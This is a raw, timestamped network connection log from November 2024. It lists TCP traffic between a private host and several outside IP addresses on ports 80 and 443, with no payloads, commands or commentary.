Nov 23, 2024 01:14:24.431869030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:24.551317930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:24.790750980 CET	49784	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.790843010 CET	443	49784	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.790952921 CET	49784	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.805181026 CET	49784	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.805217981 CET	443	49784	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.817452908 CET	49776	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.818056107 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.818063021 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.818125963 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.818324089 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.818336010 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.819421053 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:24.819561005 CET	443	49750	94.245.104.56	192.168.2.5
Nov 23, 2024 01:14:24.819622040 CET	49750	443	192.168.2.5	94.245.104.56
Nov 23, 2024 01:14:24.820152998 CET	49775	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.820230961 CET	49784	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.823726892 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.823754072 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.823863983 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.823877096 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.823898077 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.823919058 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.825545073 CET	49774	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.828641891 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.828649044 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.828749895 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.829389095 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.829400063 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.830027103 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.830039024 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.830132008 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:24.830158949 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.849397898 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.849406004 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.849457026 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.849901915 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.849914074 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.854290009 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:24.854309082 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:24.854408026 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:24.854697943 CET	49802	443	192.168.2.5	18.165.220.110
Nov 23, 2024 01:14:24.854708910 CET	443	49802	18.165.220.110	192.168.2.5
Nov 23, 2024 01:14:24.859335899 CET	443	49776	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.861964941 CET	49804	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.862001896 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.862139940 CET	49804	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.862344027 CET	49804	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:24.862370014 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:24.863337994 CET	443	49775	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.863358021 CET	443	49784	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:24.867352962 CET	443	49774	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:25.013165951 CET	443	49764	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:25.013372898 CET	443	49764	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:25.014626026 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:25.017110109 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:25.017126083 CET	443	49764	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:25.017141104 CET	49764	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:25.017148972 CET	443	49764	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:25.049143076 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:25.049185038 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:25.049328089 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:25.050246000 CET	49806	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:25.050262928 CET	443	49806	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:25.088186026 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:25.088196993 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:25.088279009 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:25.088439941 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:25.088448048 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:25.293585062 CET	443	49776	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:25.293659925 CET	49776	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:25.326169014 CET	443	49774	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:25.326260090 CET	49774	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:25.326692104 CET	443	49775	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:25.326771975 CET	49775	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:25.369210958 CET	443	49767	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.370208025 CET	49767	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.370232105 CET	443	49767	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.371288061 CET	49767	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.371294022 CET	443	49767	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.379180908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:25.379322052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:25.638489008 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.651676893 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.651694059 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.652256012 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.652261019 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.692688942 CET	443	49772	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.693542004 CET	49772	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.693562031 CET	443	49772	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.694088936 CET	49772	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.694093943 CET	443	49772	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.708192110 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.708734989 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.708771944 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.709218979 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.709227085 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.713140965 CET	443	49771	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.713501930 CET	49771	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.713517904 CET	443	49771	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.713994026 CET	49771	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.713998079 CET	443	49771	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.802953959 CET	443	49767	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.803014994 CET	443	49767	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.803209066 CET	49767	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.803248882 CET	49767	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.803268909 CET	443	49767	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.803282022 CET	49767	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.803289890 CET	443	49767	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.806376934 CET	49809	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.806392908 CET	443	49809	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.806473970 CET	49809	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.806642056 CET	49809	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:25.806659937 CET	443	49809	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:25.837517977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:25.957001925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.048053026 CET	49810	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.048119068 CET	443	49810	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.048207045 CET	49810	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.048753977 CET	49810	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.048780918 CET	443	49810	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.064076900 CET	443	49784	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.064153910 CET	49784	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.073187113 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.073441029 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.073453903 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.074419975 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.074472904 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.075815916 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.075879097 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.076014042 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.076020956 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.080446959 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.080615044 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.080672979 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.080784082 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.080794096 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.080804110 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.080809116 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.082211018 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.082417011 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.082427025 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.084052086 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.084103107 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.084372997 CET	49811	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.084387064 CET	443	49811	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.084477901 CET	49811	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.084949017 CET	49811	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.084961891 CET	443	49811	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.085273027 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.085357904 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.085422993 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.085432053 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.093533039 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.093765974 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.093806028 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.094913006 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.095232010 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.095241070 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.097378969 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.097450972 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.098282099 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.098457098 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.098474979 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.099277020 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.099335909 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.099632025 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.099711895 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.099740982 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.106709957 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.106889963 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.106904030 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.110130072 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.110192060 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.110481024 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.110558033 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.110637903 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.110645056 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.139362097 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.143369913 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.148932934 CET	443	49772	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.149080992 CET	443	49772	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.149130106 CET	49772	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.149384022 CET	49772	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.149384022 CET	49772	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.149393082 CET	443	49772	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.149400949 CET	443	49772	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.152493000 CET	49812	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.152508020 CET	443	49812	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.152622938 CET	49812	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.152792931 CET	49812	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.152805090 CET	443	49812	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.160487890 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.160578012 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.160624981 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.160712004 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.160728931 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.160747051 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.160753965 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.162961006 CET	49813	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.163045883 CET	443	49813	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.163117886 CET	49813	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.163268089 CET	49813	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.163299084 CET	443	49813	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.165636063 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.165735006 CET	443	49771	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.165786028 CET	443	49771	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.165868044 CET	49771	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.165875912 CET	49804	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.165906906 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.165999889 CET	49771	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.166008949 CET	443	49771	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.166021109 CET	49771	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.166026115 CET	443	49771	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.168143988 CET	49814	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.168153048 CET	443	49814	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.168211937 CET	49814	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.168329000 CET	49814	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:26.168339968 CET	443	49814	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:26.169164896 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.169245005 CET	49804	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.169656038 CET	49804	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.169742107 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.169828892 CET	49804	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.169843912 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.204121113 CET	49815	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.204159975 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.204226971 CET	49815	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.204406023 CET	49815	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.204442978 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.215111971 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.215111971 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.215122938 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.215128899 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.251384020 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.251406908 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.251449108 CET	49804	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.251487017 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.288453102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.288522959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.288532972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.288563967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.288579941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.288611889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.288672924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.288681984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.288714886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.288717985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.288724899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.288765907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.288795948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.288806915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.288844109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.288877010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.297077894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.297142029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.297226906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.297269106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.305418015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.306920052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.356928110 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.356939077 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.372756958 CET	49816	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.372775078 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.373126984 CET	49816	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.373339891 CET	49816	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.373353004 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.418384075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.418452024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.418464899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.418535948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.489675999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.489759922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.489799023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.489841938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.493650913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.493700027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.495126963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.495173931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.495249033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.495318890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.503175974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.503233910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.503277063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.503396034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.511248112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.511307001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.511369944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.511405945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.517014980 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.517071009 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.517158031 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.517350912 CET	49787	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.517360926 CET	443	49787	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.519310951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.519372940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.519484997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.519536018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.526245117 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.526323080 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.526463985 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.526576996 CET	49798	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.526583910 CET	443	49798	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.527527094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.527589083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.527636051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.535382986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.535449982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.535495996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.535538912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.537614107 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.537772894 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.538149118 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.538220882 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.538326025 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.538392067 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.538572073 CET	49792	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.538590908 CET	443	49792	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.538996935 CET	49793	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:26.539002895 CET	443	49793	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:26.543437004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.543512106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.543525934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.543561935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.549530029 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.549688101 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.549936056 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.549987078 CET	49800	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:26.549995899 CET	443	49800	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.551481962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.551604986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.551695108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.559503078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.559587955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.559612036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:26.559753895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:26.618199110 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.618364096 CET	443	49804	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:26.618937016 CET	49804	443	192.168.2.5	162.159.61.3
